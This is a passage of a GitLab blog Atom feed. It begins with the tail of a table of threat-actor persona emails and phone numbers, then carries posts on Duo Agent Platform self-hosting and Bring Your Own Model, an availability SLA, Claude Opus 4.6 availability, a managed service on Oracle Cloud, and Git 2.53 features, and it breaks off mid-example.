align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">david@heyadev.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">mykytadanylchenko@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">ronaldofanclub112@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">olegevgen@inbox.lt</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">15414257086</code></td><td align="left">phone number</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona phone number</td><td align="left">4</td></tr><tr><td align="left"><code className="">89883507137</code></td><td align="left">phone number</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona phone number</td><td align="left">4</td></tr><tr><td align="left"><code className="">14358179097</code></td><td align="left">phone number</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona phone number</td><td align="left">4</td></tr><tr><td align="left"><code className="">3508704464</code></td><td align="left">phone number</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona phone number</td><td align="left">4</td></tr><tr><td align="left"><code className="">4796004206</code></td><td align="left">phone number</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona phone number</td><td align="left">4</td></tr><tr><td align="left"><code className="">5596103595</code></td><td align="left">phone number</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona phone number</td><td align="left">4</td></tr></tbody></table><style>html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}</style>]]></content>
        <author>
            <name>Oliver Smith</name>
            <uri>https://about.gitlab.com/blog/authors/oliver-smith/</uri>
        </author>
        <published>2026-02-19T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Agentic AI, enterprise control: Self-hosted Duo Agent Platform and BYOM]]></title>
        <id>https://about.gitlab.com/blog/agentic-ai-enterprise-control-self-hosted-duo-agent-platform-and-byom/</id>
        <link href="https://about.gitlab.com/blog/agentic-ai-enterprise-control-self-hosted-duo-agent-platform-and-byom/"/>
        <updated>2026-02-19T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>For organizations in regulated industries, the path to AI-powered automation comes with hard constraints. Data residency, vendor control, and governance aren&#39;t negotiable, and many organizations have already made significant investments in their own models with rigorous approval processes governing how and where those models operate.</p><p>With <a href="https://about.gitlab.com/releases/2026/02/19/gitlab-18-9-released/" rel="">GitLab 18.9</a>, we are delivering two capabilities that close a critical strategic gap for these enterprise customers, transforming <a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">GitLab Duo Agent Platform</a> into a deployment-ready, governable AI control plane for the strictest regulatory environments.</p><h2 id="gitlab-duo-agent-platform-self-hosted-for-online-cloud-licenses">GitLab Duo Agent Platform Self-Hosted for Online Cloud Licenses</h2><p>With GitLab Duo Agent Platform, engineering teams create AI-powered flows that automate sequences of tasks, from refactoring services and hardening CI/CD pipelines to triaging vulnerabilities. To date, using GitLab Duo Agent Platform in production with self-hosted models was primarily aligned with offline or add-on licensing paths, not designed for online cloud license customers operating under strict regulations.</p><p>Now generally available, <a href="https://docs.gitlab.com/subscriptions/subscription-add-ons/#gitlab-duo-agent-platform-self-hosted" rel="">Self-Hosted for Online Cloud Licenses</a> introduces a usage-based billing model powered by <a href="https://docs.gitlab.com/subscriptions/gitlab_credits/" rel="">GitLab Credits</a>. This approach provides the transparent and predictable metering that enterprises require for trust and internal chargeback.</p><ul><li><strong>Data residency and control</strong>: You can now run GitLab Duo Agent Platform in production on online cloud licenses while using models you host on your own infrastructure or approved cloud environments. This gives you control over where models run and how inference traffic is routed within your approved environments.</li><li><strong>Cost transparency and chargeback</strong>: Gain granular cost transparency through GitLab Credits and per-request metering, which is essential for accurate internal chargeback and meeting regulatory reporting standards.</li><li><strong>Adoption acceleration</strong>: Removes a significant deployment blocker for adopting agentic AI in sectors like financial services, government, and critical infrastructure, where routing data through external AI vendors is simply not an option.
GitLab 18.9 makes Duo Agent Platform a first-class deployment for online cloud licenses.</li></ul><h2 id="bring-your-own-model">Bring Your Own Model</h2><p>Self-hosting the orchestration layer is only half the story. Many regulated customers have already invested heavily in their own models: domain-tuned LLMs, in-region or air-gapped deployments for data sovereignty, and closed-source, internal models built for their specific risk posture.</p><p><strong>Bring Your Own Model</strong> extends the flexibility of GitLab Duo Agent Platform, allowing administrators to connect third-party or self-hosted models via the <a href="https://docs.gitlab.com/administration/gitlab_duo/gateway/" rel="">GitLab AI Gateway</a>. This ensures customers retain model choice and control.</p><ul><li><strong>Integration and governance</strong>: BYOM models appear alongside GitLab-managed models within GitLab’s AI control plane, allowing Duo Agent Platform to treat them as enterprise-ready options.</li><li><strong>Granular mapping</strong>: Once registered through the AI Gateway, models can be mapped to specific Duo Agent Platform flows or features, giving you fine-grained control over which agents and flows use which models.
Admins maintain responsibility for model validation, performance, and risk evaluation. You own compatibility, performance, and risk evaluation for the models you bring.</li></ul><p>Together, these capabilities give enterprise engineering leaders comprehensive control over agentic AI. The result is a single, governed control plane for agentic AI, replacing the fragmented mix of point solutions and unmanaged AI tools that many engineering organizations rely on today. It&#39;s the combination regulated organizations have been asking for: model freedom plus strong governance, inside the same DevSecOps platform you already trust.</p><blockquote><p>Want to try GitLab Duo Agent Platform? <a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">Contact us or sign up for a free trial today</a>.</p></blockquote><hr /><p><em>This blog post contains &quot;forward‑looking statements&quot; within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934. Although we believe that the expectations reflected in these statements are reasonable, they are subject to known and unknown risks, uncertainties, assumptions and other factors that may cause actual results or outcomes to differ materially. Further information on these risks and other factors is included under the caption &quot;Risk Factors&quot; in our filings with the SEC. We do not undertake any obligation to update or revise these statements after the date of this blog post, except as required by law.</em></p>]]></content>
        <author>
            <name>Rebecca Carter</name>
            <uri>https://about.gitlab.com/blog/authors/rebecca-carter/</uri>
        </author>
        <published>2026-02-19T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab backs 99.9% availability with service credits for Ultimate customers]]></title>
        <id>https://about.gitlab.com/blog/gitlab-backs-99-9-availability-with-service-credits-for-ultimate-customers/</id>
        <link href="https://about.gitlab.com/blog/gitlab-backs-99-9-availability-with-service-credits-for-ultimate-customers/"/>
        <updated>2026-02-18T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab now backs its 99.9% availability commitment with service credits for Ultimate customers on GitLab.com and GitLab Dedicated. When monthly availability falls below this threshold, eligible customers receive credits toward future invoices. This commitment ensures your DevSecOps workflows have the reliability they need.</p><h2 id="we-value-your-trust">We value your trust</h2><p>Modern software delivery operates at a velocity where teams push code, open merge requests, and track issues continuously throughout the day. Git operations — push, pull, clone — happen thousands of times per hour across distributed teams. When any of these core experiences become unavailable, your entire software delivery workflow stops.</p><p>The 99.9% availability service-level agreement (SLA) ensures your accelerated development pace doesn&#39;t hit infrastructure walls. Service credits demonstrate our accountability — tying our success to platform reliability and aligning our interests with yours. We hold ourselves accountable to your business outcomes, not just availability targets.</p><p>GitLab&#39;s SLA commitment covers the core platform services essential to your DevSecOps workflows.</p><p>At launch, the covered experiences are:</p><p>* Issues and merge requests<br />
* Git operations (push, pull, clone via HTTPS and SSH)<br />
* Container Registry operations<br />
* Package Registry operations<br />
* API requests (limited to the above)</p><p>The most up-to-date list of covered and excluded experiences is available in the <a href="https://handbook.gitlab.com/handbook/engineering/infrastructure-platforms/service-level-agreement/#covered-experiences" rel="">GitLab handbook</a>.</p><p>Service availability is measured using automated monitoring across multiple geographic locations, providing an accurate representation of actual service availability experienced by customers. When availability falls below 99.9%, customers are eligible to claim credits based on the severity of the shortfall.</p><h2 id="understanding-downtime-minutes">Understanding downtime minutes</h2><p>When the GitLab service experiences degraded availability of 5% or more of valid customer requests for covered experiences in a given minute, resulting in server errors, this is called a <a href="https://handbook.gitlab.com/handbook/engineering/infrastructure-platforms/service-level-agreement/#downtime-minute-definition" rel="">downtime minute</a>. Server errors are defined as HTTP 5xx status codes or connection timeouts exceeding 30 seconds as determined by GitLab&#39;s internal and external monitoring systems.</p><p>The SLA measures server-side failures, but some issues may not trigger 5xx errors, such as application bugs that make features unusable, Sidekiq job processing outages, or infrastructure problems that degrade performance without failing requests outright.</p><p>Here’s how you can claim service credits when applicable:</p><ol><li>Submit a support request at support.gitlab.com within thirty (30) days after the end of the affected month to claim downtime credits.</li><li>The GitLab team reviews the claim, validates the downtime, and processes the credit if applicable.</li><li>Service credits will be applied against your next issued invoice.</li></ol><p><a href="https://handbook.gitlab.com/handbook/engineering/infrastructure-platforms/service-level-agreement/#calculating-monthly-uptime-percentage" rel="">Read the handbook</a> for more on how monthly uptime availability is calculated, the service credits offered when applicable, and the credit claim procedures.</p><p>While our monitoring is designed to capture the vast majority of service disruptions, if your experience doesn&#39;t match reported availability, we encourage you to submit a service credit claim. GitLab will review the claim holistically, including investigating issues that may not be reflected in automated monitoring.</p><h2 id="reliability-you-can-count-on">Reliability you can count on</h2><p>The 99.9% availability SLA with service credits represents our commitment to being a reliable foundation for your software delivery workflows. Your teams depend on GitLab to keep shipping, and we&#39;re here to back you up.</p><p>Questions about the SLA? Contact your GitLab account team or submit a request through <a href="http://support.GitLab.com" rel="">GitLab Support</a>.</p>]]></content>
        <author>
            <name>Aathira Nair</name>
            <uri>https://about.gitlab.com/blog/authors/aathira-nair/</uri>
        </author>
        <author>
            <name>Lyle Kozloff</name>
            <uri>https://about.gitlab.com/blog/authors/lyle-kozloff/</uri>
        </author>
        <published>2026-02-18T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Claude Opus 4.6 now available in GitLab Duo Agent Platform]]></title>
        <id>https://about.gitlab.com/blog/claude-opus-4-6-now-available-in-gitlab-duo-agent-platform/</id>
        <link href="https://about.gitlab.com/blog/claude-opus-4-6-now-available-in-gitlab-duo-agent-platform/"/>
        <updated>2026-02-17T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab now offers Claude Opus 4.6, Anthropic&#39;s most intelligent model combining maximum capability with practical performance, directly in the GitLab Duo Agent Platform model selector.</p><p>Users have the flexibility to choose Claude Opus 4.6 alongside other leading models in GitLab Duo Agent Platform, enhancing their agentic development experience with frontier intelligence for the most challenging tasks. Claude Opus 4.6 is Anthropic&#39;s most agentic model to date — it proactively takes actions and drives tasks forward with less handholding than previous models, making it exceptionally well-suited for complex development workflows.</p><h2 id="gitlab-duo-agent-platform-claude-opus-46">GitLab Duo Agent Platform + Claude Opus 4.6</h2><p>With a 1 million token context window (5x larger than Claude Opus 4.5), Opus 4.6 can process entire codebases, extensive documentation, and complex project histories in a single interaction — and GitLab Duo Agent Platform provides rich context with DevSecOps data from your repositories, merge requests, pipelines, and security findings.</p><p>With native integration into GitLab&#39;s unified platform, human-in-the-loop controls, agent visibility, and group-based access controls, teams can confidently deploy Claude Opus 4.6 for their most demanding workflows. The result is AI with access to your complete project context — helping teams deliver higher-quality outcomes without leaving the GitLab workflow developers use every day.</p><h2 id="where-you-can-use-claude-opus-46">Where you can use Claude Opus 4.6</h2><p>Claude Opus 4.6 is available as a model option in GitLab Duo Agent Platform on GitLab.com for:</p><ul><li>All agents</li><li>Agentic Chat</li></ul><p>You can use Claude Opus 4.6&#39;s advanced capabilities for your most demanding development tasks.</p><p><strong>Note:</strong> Claude Opus 4.6 is not available for GitLab Duo Classic features. The ability to select Claude Opus 4.6 in supported IDEs will be available soon.</p><p>Key capabilities:</p><ul><li><strong>Highly agentic:</strong> Proactively takes actions and drives tasks forward, spinning up subagents and parallelizing tool calls for complex workflows.</li><li><strong>Deep reasoning:</strong> Benefits from enhanced thinking capabilities for test-time compute, reasoning more deeply through complex problems.</li><li><strong>Adaptive thinking:</strong> Calibrates reasoning based on query complexity, providing rapid responses for simple tasks and extended thinking for challenging problems.</li><li><strong>Multi-agent orchestration:</strong> Proactively creates subagents and coordinates parallel workstreams for complex, multi-step tasks.</li><li><strong>Developer-orchestrated workflows:</strong> Enables developers to delegate work to sub-agents that coordinate parallel workstreams for handling complex, multi-step tasks — helping maximize the value of GitLab Duo Agent Platform&#39;s agent architecture.</li><li><strong>Extended context window:</strong> With 1 million tokens of context (5x larger than Claude Opus 4.5), Claude Opus 4.6 can process entire codebases, extensive documentation, and complex project histories in a single interaction.</li></ul><h2 id="understanding-claude-opus-46-usage">Understanding Claude Opus 4.6 usage</h2><p>Claude Opus 4.6 uses GitLab credits with different multipliers based on prompt size:</p><ul><li><strong>Prompts ≤200k tokens:</strong> 1.2 requests per credit</li><li><strong>Prompts &gt;200k tokens:</strong> 0.7 requests per credit</li></ul><p>For detailed information on credit usage and multipliers, visit our <a href="https://docs.gitlab.com/subscriptions/gitlab_credits/#credit-multipliers" rel="">GitLab Credits documentation</a>.</p><h2 id="get-started">Get started</h2><p>GitLab Duo Agent Platform customers can now access Claude Opus 4.6 within the model selector. Visit our <a href="https://docs.gitlab.com/user/duo_agent_platform/" rel="">GitLab Duo Agent Platform documentation</a> to learn more about available agents, workflows, and models.</p><p>Questions or feedback? Share your experience with us through the GitLab community.</p><blockquote><p>Want to try GitLab Duo Agent Platform? <a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">Sign up for a free trial today.</a></p></blockquote>]]></content>
        <author>
            <name>Stuart Moncada</name>
            <uri>https://about.gitlab.com/blog/authors/stuart-moncada/</uri>
        </author>
        <published>2026-02-17T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[DevSecOps-as-a-Service on Oracle Cloud Infrastructure by Data Intensity]]></title>
        <id>https://about.gitlab.com/blog/devsecops-as-a-service-on-oracle-cloud-infrastructure-by-data-intensity/</id>
        <link href="https://about.gitlab.com/blog/devsecops-as-a-service-on-oracle-cloud-infrastructure-by-data-intensity/"/>
        <updated>2026-02-10T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>At GitLab, we know that many organizations choose GitLab Self-Managed for the control, customization, and security it provides. However, managing underlying infrastructure can be a significant operational challenge — especially for teams who want to focus on delivering software, not maintaining platforms.</p><p>That&#39;s why we&#39;re excited to work with <a href="https://www.oracle.com/cloud/" rel="">Oracle Cloud Infrastructure (OCI)</a> and <a href="https://www.dataintensity.com/services/security-services/devsecops/" rel="">Data Intensity</a>, a trusted Oracle managed services provider, to offer a new managed service option, DevSecOps-as-a-Service, that brings together the best of both worlds: the control of GitLab Self-Managed with the operational ease of a fully managed service.</p><h2 id="why-gitlab-self-managed">Why GitLab Self-Managed?</h2><p>GitLab Self-Managed gives you complete ownership of your DevSecOps platform. You control where your data lives, how your instance is configured, and can customize it to meet specific compliance, security, or operational requirements. This level of control is essential for organizations with strict regulatory requirements, data residency needs, or specific integration must-haves.</p><p>The challenge for some customers running on GitLab Self-Managed means managing servers, handling upgrades, ensuring high availability, and implementing disaster recovery. All require specialized expertise and dedicated resources.</p><h2 id="a-managed-path-to-gitlab-self-managed">A managed path to GitLab Self-Managed</h2><p>Data Intensity&#39;s DevSecOps-as-a-Service on OCI removes these operational burdens while preserving the control benefits of GitLab Self-Managed. Instead of building and maintaining infrastructure yourself, you get a standalone GitLab instance managed by Data Intensity&#39;s team of experts, running on OCI&#39;s high-performance cloud infrastructure.</p><p>Here&#39;s what&#39;s included:</p><ul><li>Standalone GitLab instance on OCI infrastructure</li><li>24x7 monitoring, alarming, and support</li><li>Quarterly patching scheduled during your chosen maintenance windows</li><li>Automated backups and disaster recovery protection</li></ul><h2 id="scaling-with-your-organization">Scaling with your organization</h2><p>Data Intensity’s managed service is designed to grow with your team, offering tiered architectures to match your specific user capacity and recovery requirements:</p><table><thead><tr><th><strong>Feature</strong></th><th><strong>Standard</strong></th><th><strong>Premier</strong></th><th><strong>Premier +</strong></th></tr></thead><tbody><tr><td><strong>User Capacity</strong></td><td>Up to 1,000</td><td>Up to 2,000</td><td>Up to 3,000</td></tr><tr><td><strong>Performance</strong></td><td>20 requests/sec</td><td>40 requests/sec</td><td>60 requests/sec</td></tr><tr><td><strong>Availability</strong></td><td>99.9%</td><td>99.95%</td><td>99.99%</td></tr><tr><td><strong>Recovery (RTO)</strong></td><td>48 hours</td><td>8 hours</td><td>4 hours</td></tr></tbody></table><p>For more information, visit Data Intensity’s website to learn more about <a href="https://www.dataintensity.com/services/security-services/devsecops/" rel="">DevSecOps-as-a-Service</a>.</p><h2 id="why-oci-for-gitlab">Why OCI for GitLab?</h2><p>Oracle Cloud Infrastructure (OCI) provides a robust foundation for running GitLab Self-Managed, offering a secure, high-performance environment at a significantly lower cost than other hyperscalers. Organizations migrating workloads to OCI commonly realize infrastructure cost reductions of 40-50%, making it easier to fund and scale deployments.</p><p>OCI supports a wide range of deployment models, from public cloud regions to specialized environments such as Government and EU Sovereign Clouds, as well as dedicated infrastructure deployed behind your firewall. These options come with consistent pricing, tooling, and operational experience, enabling teams to standardize GitLab deployments across regulated, hybrid, and global environments.</p><p>The combination of GitLab&#39;s comprehensive DevSecOps platform, OCI&#39;s high-performance infrastructure, and Data Intensity&#39;s managed services expertise provides a turnkey solution that lets your teams focus on what matters: building great software.</p><h2 id="is-this-right-for-your-organization">Is this right for your organization?</h2><p>Consider Data Intensity&#39;s DevSecOps-as-a-Service if you:</p><ul><li>Want GitLab Self-Managed but need to minimize operational overhead</li><li>Require specific compliance, security, or data residency requirements</li><li>Need guaranteed SLAs and professional disaster recovery capabilities</li><li>Prefer predictable costs and expert management over building in-house infrastructure expertise</li><li>Are already using or planning to use OCI for your cloud infrastructure</li><li>Prioritize flexibility and control</li><li>Want a dedicated instance that’s managed externally but offers the control of a self-managed environment</li></ul><h2 id="getting-started">Getting started</h2><p>Organizations interested in running GitLab Self-Managed on OCI through Data Intensity&#39;s DevSecOps-as-a-Service can contact Data Intensity via the <a href="https://www.dataintensity.com/services/security-services/devsecops/" rel="">Data Intensity website</a> to discuss specific requirements and begin deployment planning.</p><p>Modernizing your DevSecOps doesn&#39;t have to be complex. Data Intensity provides optional migration of code repositories and customizations to ensure a smooth transition to OCI.</p><p>As GitLab continues expanding our partner ecosystem, solutions like this demonstrate our commitment to giving organizations choice in how they deploy and manage GitLab — whether that&#39;s SaaS, self-managed, or managed services through trusted partners.</p>]]></content>
        <author>
            <name>Biju Thomas</name>
            <uri>https://about.gitlab.com/blog/authors/biju-thomas/</uri>
        </author>
        <author>
            <name>Matt Genelin</name>
            <uri>https://about.gitlab.com/blog/authors/matt-genelin/</uri>
        </author>
        <author>
            <name>Karishma Kumar</name>
            <uri>https://about.gitlab.com/blog/authors/karishma-kumar/</uri>
        </author>
        <author>
            <name>Ryan Palmaro</name>
            <uri>https://about.gitlab.com/blog/authors/ryan-palmaro/</uri>
        </author>
        <published>2026-02-10T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[What’s new in Git 2.53.0?]]></title>
        <id>https://about.gitlab.com/blog/whats-new-in-git-2-53-0/</id>
        <link href="https://about.gitlab.com/blog/whats-new-in-git-2-53-0/"/>
        <updated>2026-02-02T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>The Git project recently released <a href="https://lore.kernel.org/git/xmqq4inz13e3.fsf@gitster.g/T/#u" rel="">Git 2.53.0</a>. Let&#39;s look at a few notable highlights from this release, which includes
contributions from the Git team at GitLab.</p><h2 id="geometric-repacking-support-with-promisor-remotes">Geometric repacking support with promisor remotes</h2><p>Newly written objects in a Git repository are often stored as individual loose files. To ensure good performance and optimal use of disk space, these loose objects are regularly compressed into so-called packfiles. The number of packfiles in a repository grows over time as a result of the user’s activities, like writing new commits or fetching from a remote. As the number of packfiles in a repository increases, Git has to do more work to look up individual objects. Therefore, to preserve optimal repository performance, packfiles are periodically repacked via git-repack(1) to consolidate the objects into fewer packfiles. When repacking there are two strategies: “all-into-one” and “geometric”.</p><p>The all-into-one strategy is fairly straightforward and the current default. As its name implies, all objects in the repository are packed into a single packfile. From a performance perspective this is great for the repository as Git only has to scan through a single packfile when looking up objects. The main downside of such a repacking strategy is that computing a single packfile for a repository can take a significant amount of time for large repositories.</p><p>The geometric strategy helps mitigate this concern by maintaining a geometric progression of packfiles based on their size instead of always repacking into a single packfile. To explain more plainly, when repacking Git maintains a set of packfiles ordered by size where each packfile in the sequence is expected to be at least twice the size of the preceding packfile. If a packfile in the sequence violates this property, packfiles are combined as needed until the progression is restored. This strategy has the advantage of still minimizing the number of packfiles in a repository while also minimizing the amount of work that must be done for most repacking operations.</p><p>One problem with the geometric repacking strategy was that it was not compatible with partial clones. Partial clones allow the user to clone only parts of a repository by, for example, skipping all blobs larger than 1 megabyte. This can significantly reduce the size of a repository, and Git knows how to backfill missing objects that it needs to access at a later point in time.</p><p>The result is a repository that is missing some objects, and any object that may not be fully connected is stored in a “promisor” packfile.  When repacking, this promisor property needs to be retained going forward for packfiles containing a promisor object so it is known whether a missing object is expected and can be backfilled from the promisor remote. With an all-into-one repack, Git knows how to handle promisor objects properly and stores them in a separate promisor packfile. Unfortunately, the geometric repacking strategy did not know to give special treatment to promisor packfiles and instead would merge them with normal packfiles without considering whether they reference promisor objects. Luckily, due to a bug the underlying git-pack-objects(1) dies when using geometric repacking in a partial clone repository. So this means repositories in this configuration were not able to be repacked anyways which isn’t great, but better than repository corruption.</p><p>With the release of Git 2.53, geometric repacking now works with partial clone repositories. When performing a geometric repack, promisor packfiles are handled separately in order to preserve the promisor marker and repacked following a separate geometric progression. With this fix, the geometric strategy moves closer towards becoming the default repacking strategy. For more information check out the corresponding <a href="https://lore.kernel.org/git/20260105-pks-geometric-repack-with-promisors-v1-0-c4660573437e@pks.im/" rel="">mailing list thread</a>.</p><p>This project was led by <a href="https://gitlab.com/pks-gitlab" rel="">Patrick Steinhardt</a>.</p><h2 id="git-fast-import1-learned-to-preserve-only-valid-signatures">git-fast-import(1) learned to preserve only valid signatures</h2><p>In our <a href="https://about.gitlab.com/blog/whats-new-in-git-2-52-0/" rel="">Git 2.52 release article</a>, we covered signature related improvements to git-fast-import(1) and git-fast-export(1). Be sure to check out that post for a more detailed explanation of these commands, how they are used, and the changes being made with regards to signatures.</p><p>To quickly recap, git-fast-import(1) provides a backend to efficiently import data into a repository and is used by tools such as <a href="https://github.com/newren/git-filter-repo" rel="">git-filter-repo(1)</a> to help rewrite the history of a repository in bulk. In the Git 2.52 release, git-fast-import(1) learned the <code className="">--signed-commits=&lt;mode&gt;</code> option similar to the same option in git-fast-export(1). With this option, it became possible to unconditionally retain or strip signatures from commits/tags.</p><p>In situations where only part of the repository history has been rewritten, any signature for rewritten commits/tags becomes invalid. This means git-fast-import(1) is limited to either stripping all signatures or keeping all signatures even if they have become invalid. But retaining invalid signatures doesn’t make much sense, so rewriting history with git-repo-filter(1) results in all signatures being stripped, even if the underlying commit/tag is not rewritten. This is unfortunate because if the commit/tag is unchanged, its signature is still valid and thus there is no real reason to strip it. What is really needed is a means to preserve signatures for unchanged objects, but strip invalid ones.</p><p>With the release of Git 2.53, the git-fast-import(1) <code className="">--signed-commits=&lt;mode&gt;</code> option has learned a new <code className="">strip-if-invalid</code> mode which, when specified, only strips signatures from commits that become invalid due to being rewritten. Thus, with this option it becomes possible to preserve some commit signatures when using git-fast-import(1). This is a critical step towards providing the foundation for tools like git-repo-filter(1) to preserve valid signatures and eventually re-sign invalid signatures.</p><p>This project was led by <a href="https://gitlab.com/chriscool" rel="">Christian Couder</a>.</p><h2 id="more-data-collected-in-git-repo-structure">More data collected in git-repo-structure</h2><p>In the Git 2.52 release, the “structure” subcommand was introduced to git-repo(1). The intent of this command was to collect information about the repository and eventually become a native replacement for tools such as <a href="https://github.com/github/git-sizer" rel="">git-sizer(1)</a>. At GitLab, we host some extremely large repositories, and having insight into the general structure of a repository is critical to understand its performance characteristics. In this release, the command now also collects total size information for reachable objects in a repository to help understand the overall size of the repository. In the output below, you can see the command now collects both the total inflated and disk sizes of reachable objects by object type.</p><pre className="language-shell shiki shiki-themes github-light" code="$ git repo structure

| Repository structure | Value      |
| -------------------- | ---------- |
| * References         |            |
|   * Count            |   1.78 k   |
|     * Branches       |      5     |
|     * Tags           |   1.03 k   |
|     * Remotes        |    749     |
|     * Others         |      0     |
|                      |            |
| * Reachable objects  |            |
|   * Count            | 421.37 k   |
|     * Commits        |  88.03 k   |
|     * Trees          | 169.95 k   |
|     * Blobs          | 162.40 k   |
|     * Tags           |    994     |
|   * Inflated size    |   7.61 GiB |
|     * Commits        |  60.95 MiB |
|     * Trees          |   2.44 GiB |
|     * Blobs          |   5.11 GiB |
|     * Tags           | 731.73 KiB |
|   * Disk size        | 301.50 MiB |
|     * Commits        |  33.57 MiB |
|     * Trees          |  77.92 MiB |
|     * Blobs          | 189.44 MiB |
|     * Tags           | 578.13 KiB |
" language="shell" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#6F42C1">$</span><span style="--shiki-default:#032F62"> git</span><span style="--shiki-default:#032F62"> repo</span><span style="--shiki-default:#032F62"> structure
</span></span><span class="line" line="2"><span emptyLinePlaceholder>
</span></span><span class="line" line="3"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1"> Repository</span><span style="--shiki-default:#032F62"> structure</span><span style="--shiki-default:#D73A49"> |</span><span style="--shiki-default:#6F42C1"> Value</span><span style="--shiki-default:#D73A49">      |
</span></span><span class="line" line="4"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1"> --------------------</span><span style="--shiki-default:#D73A49"> |</span><span style="--shiki-default:#6F42C1"> ----------</span><span style="--shiki-default:#D73A49"> |
</span></span><span class="line" line="5"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1"> *</span><span style="--shiki-default:#032F62"> References</span><span style="--shiki-default:#D73A49">         |</span><span style="--shiki-default:#D73A49">            |
</span></span><span class="line" line="6"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">   *</span><span style="--shiki-default:#032F62"> Count</span><span style="--shiki-default:#D73A49">            |</span><span style="--shiki-default:#6F42C1">   1.78</span><span style="--shiki-default:#032F62"> k</span><span style="--shiki-default:#D73A49">   |
</span></span><span class="line" line="7"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">     *</span><span style="--shiki-default:#032F62"> Branches</span><span style="--shiki-default:#D73A49">       |</span><span style="--shiki-default:#6F42C1">      5</span><span style="--shiki-default:#D73A49">     |
</span></span><span class="line" line="8"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">     *</span><span style="--shiki-default:#032F62"> Tags</span><span style="--shiki-default:#D73A49">           |</span><span style="--shiki-default:#6F42C1">   1.03</span><span style="--shiki-default:#032F62"> k</span><span style="--shiki-default:#D73A49">   |
</span></span><span class="line" line="9"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">     *</span><span style="--shiki-default:#032F62"> Remotes</span><span style="--shiki-default:#D73A49">        |</span><span style="--shiki-default:#6F42C1">    749</span><span style="--shiki-default:#D73A49">     |
</span></span><span class="line" line="10"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">     *</span><span style="--shiki-default:#032F62"> Others</span><span style="--shiki-default:#D73A49">         |</span><span style="--shiki-default:#6F42C1">      0</span><span style="--shiki-default:#D73A49">     |
</span></span><span class="line" line="11"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#D73A49">                      |</span><span style="--shiki-default:#D73A49">            |
</span></span><span class="line" line="12"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1"> *</span><span style="--shiki-default:#032F62"> Reachable</span><span style="--shiki-default:#032F62"> objects</span><span style="--shiki-default:#D73A49">  |</span><span style="--shiki-default:#D73A49">            |
</span></span><span class="line" line="13"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">   *</span><span style="--shiki-default:#032F62"> Count</span><span style="--shiki-default:#D73A49">            |</span><span style="--shiki-default:#6F42C1"> 421.37</span><span style="--shiki-default:#032F62"> k</span><span style="--shiki-default:#D73A49">   |
</span></span><span class="line" line="14"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">     *</span><span style="--shiki-default:#032F62"> Commits</span><span style="--shiki-default:#D73A49">        |</span><span style="--shiki-default:#6F42C1">  88.03</span><span style="--shiki-default:#032F62"> k</span><span style="--shiki-default:#D73A49">   |
</span></span><span class="line" line="15"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">     *</span><span style="--shiki-default:#032F62"> Trees</span><span style="--shiki-default:#D73A49">          |</span><span style="--shiki-default:#6F42C1"> 169.95</span><span style="--shiki-default:#032F62"> k</span><span style="--shiki-default:#D73A49">   |
